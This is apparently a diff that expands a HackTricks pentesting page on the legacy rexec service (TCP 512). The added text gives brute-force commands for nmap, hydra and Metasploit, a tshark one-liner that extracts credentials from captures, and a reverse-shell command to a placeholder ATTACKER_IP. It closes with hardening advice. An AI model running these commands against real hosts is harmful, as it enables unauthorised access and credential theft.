|
2 | 2 |
|
3 | 3 | {{#include ../banners/hacktricks-training.md}}
|
4 | 4 |
|
5 |
| - |
6 | 5 | ## Basic Information
|
7 | 6 |
|
8 |
| -It is a service that **allows you to execute a command inside a host** if you know valid **credentials** (username and password). |
| 7 | +Rexec (remote **exec**) is one of the original Berkeley *r*-services suite (together with `rlogin`, `rsh`, …). It provides a **remote command-execution** capability **authenticated only with a clear-text username and password**. The protocol was defined in the early 1980’s (see RFC 1060) and is nowadays considered **insecure by design**. Nevertheless it is still enabled by default in some legacy UNIX / network-attached equipment and occasionally shows up during internal pentests. |
9 | 8 |
|
10 |
| -**Default Port:** 512 |
| 9 | +**Default Port:** TCP 512 (`exec`) |
11 | 10 |
|
12 | 11 | ```
|
13 | 12 | PORT STATE SERVICE
|
14 | 13 | 512/tcp open exec
|
15 | 14 | ```
|
16 | 15 |
|
| 16 | +> 🔥 All traffic – including credentials – is transmitted **unencrypted**. Anyone with the ability to sniff the network can recover the username, password and command. |
| 17 | +
|
| 18 | +### Protocol quick-look |
| 19 | + |
| 20 | +1. Client connects to TCP 512. |
| 21 | +2. Client sends three **NUL-terminated** strings: |
| 22 | + * the port number (as ASCII) where it wishes to receive stdout/stderr (often `0`), |
| 23 | + * the **username**, |
| 24 | + * the **password**. |
| 25 | +3. A final NUL-terminated string with the **command** to execute is sent. |
| 26 | +4. The server replies with a single 8-bit status byte (0 = success, `1` = failure) followed by the command output. |
| 27 | + |
| 28 | +That means you can reproduce the exchange with nothing more than `echo -e` and `nc`: |
| 29 | + |
| 30 | +```bash |
| 31 | +(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512 |
| 32 | +``` |
| 33 | + |
| 34 | +If the credentials are valid you will receive the output of `id` straight back on the same connection. |
| 35 | + |
| 36 | +### Manual usage with the client |
| 37 | + |
| 38 | +Many Linux distributions still ship the legacy client inside the **inetutils-rexec** / **rsh-client** package: |
| 39 | + |
| 40 | +```bash |
| 41 | +rexec -l user -p password <target> "uname -a" |
| 42 | +``` |
| 43 | + |
| 44 | +If `-p` is omitted the client will prompt interactively for the password (visible on the wire in clear-text!). |
| 45 | + |
| 46 | +--- |
| 47 | +## Enumeration & Brute-forcing |
| 48 | + |
17 | 49 | ### [**Brute-force**](../generic-hacking/brute-force.md#rexec)
|
18 | 50 |
|
| 51 | +### Nmap |
19 | 52 |
|
20 |
| -{{#include ../banners/hacktricks-training.md}} |
| 53 | +```bash |
| 54 | +nmap -p 512 --script rexec-info <target> |
| 55 | +# Discover service banner and test for stdout port mis-configuration |
| 56 | + |
| 57 | +nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target> |
| 58 | +``` |
| 59 | +The `rexec-brute` NSE uses the protocol described above to try credentials very quickly . |
21 | 60 |
|
| 61 | +### Hydra / Medusa / Ncrack |
22 | 62 |
|
| 63 | +```bash |
| 64 | +hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8 |
| 65 | +``` |
| 66 | +`hydra` has a dedicated **rexec** module and remains the fastest offline bruteforcer . `medusa` (`-M REXEC`) and `ncrack` (`rexec` module) can be used in the same way. |
23 | 67 |
|
| 68 | +### Metasploit |
| 69 | + |
| 70 | +``` |
| 71 | +use auxiliary/scanner/rservices/rexec_login |
| 72 | +set RHOSTS <target> |
| 73 | +set USER_FILE users.txt |
| 74 | +set PASS_FILE passwords.txt |
| 75 | +run |
| 76 | +``` |
| 77 | +The module will spawn a shell on success and store the credentials in the database . |
| 78 | + |
| 79 | +--- |
| 80 | +## Sniffing credentials |
| 81 | + |
| 82 | +Because everything is clear-text, **network captures are priceless**. With a copy of the traffic you can extract creds without touching the target: |
| 83 | + |
| 84 | +```bash |
| 85 | +tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \ |
| 86 | + awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command |
| 87 | +``` |
| 88 | + |
| 89 | +(In Wireshark enable *Decode As …* TCP 512 → REXEC to view nicely-parsed fields.) |
| 90 | + |
| 91 | +--- |
| 92 | +## Post-Exploitation tips |
| 93 | + |
| 94 | +* Commands run with the privileges of the supplied user. If `/etc/pam.d/rexec` is mis-configured (e.g. `pam_rootok`), root shells are sometimes possible. |
| 95 | +* Rexec ignores the user’s shell and executes the command via `/bin/sh -c <cmd>`. You can therefore use typical shell-escape tricks (`;`, ``$( )``, backticks) to chain multiple commands or spawn reverse shells: |
| 96 | + ```bash |
| 97 | + rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' |
| 98 | + ``` |
| 99 | +* Passwords are often stored in **~/.netrc** on other systems; if you compromise one host you may reuse them for lateral movement. |
| 100 | + |
| 101 | +--- |
| 102 | +## Hardening / Detection |
| 103 | + |
| 104 | +* **Do not expose rexec**; replace it with SSH. Virtually all modern *inetd* superservers comment the service out by default. |
| 105 | +* If you must keep it, restrict access with TCP wrappers (`/etc/hosts.allow`) or firewall rules and enforce strong per-account passwords. |
| 106 | +* Monitor for traffic to :512 and for `rexecd` process launches. A single packet capture is enough to detect a compromise. |
| 107 | +* Disable `rexec`, `rlogin`, `rsh` together – they share most of the same codebase and weaknesses. |
| 108 | + |
| 109 | +--- |
| 110 | + |
| 111 | + |
| 112 | +## References |
| 113 | + |
| 114 | +* Nmap NSE `rexec-brute` documentation – [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html) |
| 115 | +* Rapid7 Metasploit module `auxiliary/scanner/rservices/rexec_login` – [https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login) |
| 116 | +{{#include ../banners/hacktricks-training.md}} |
0 commit comments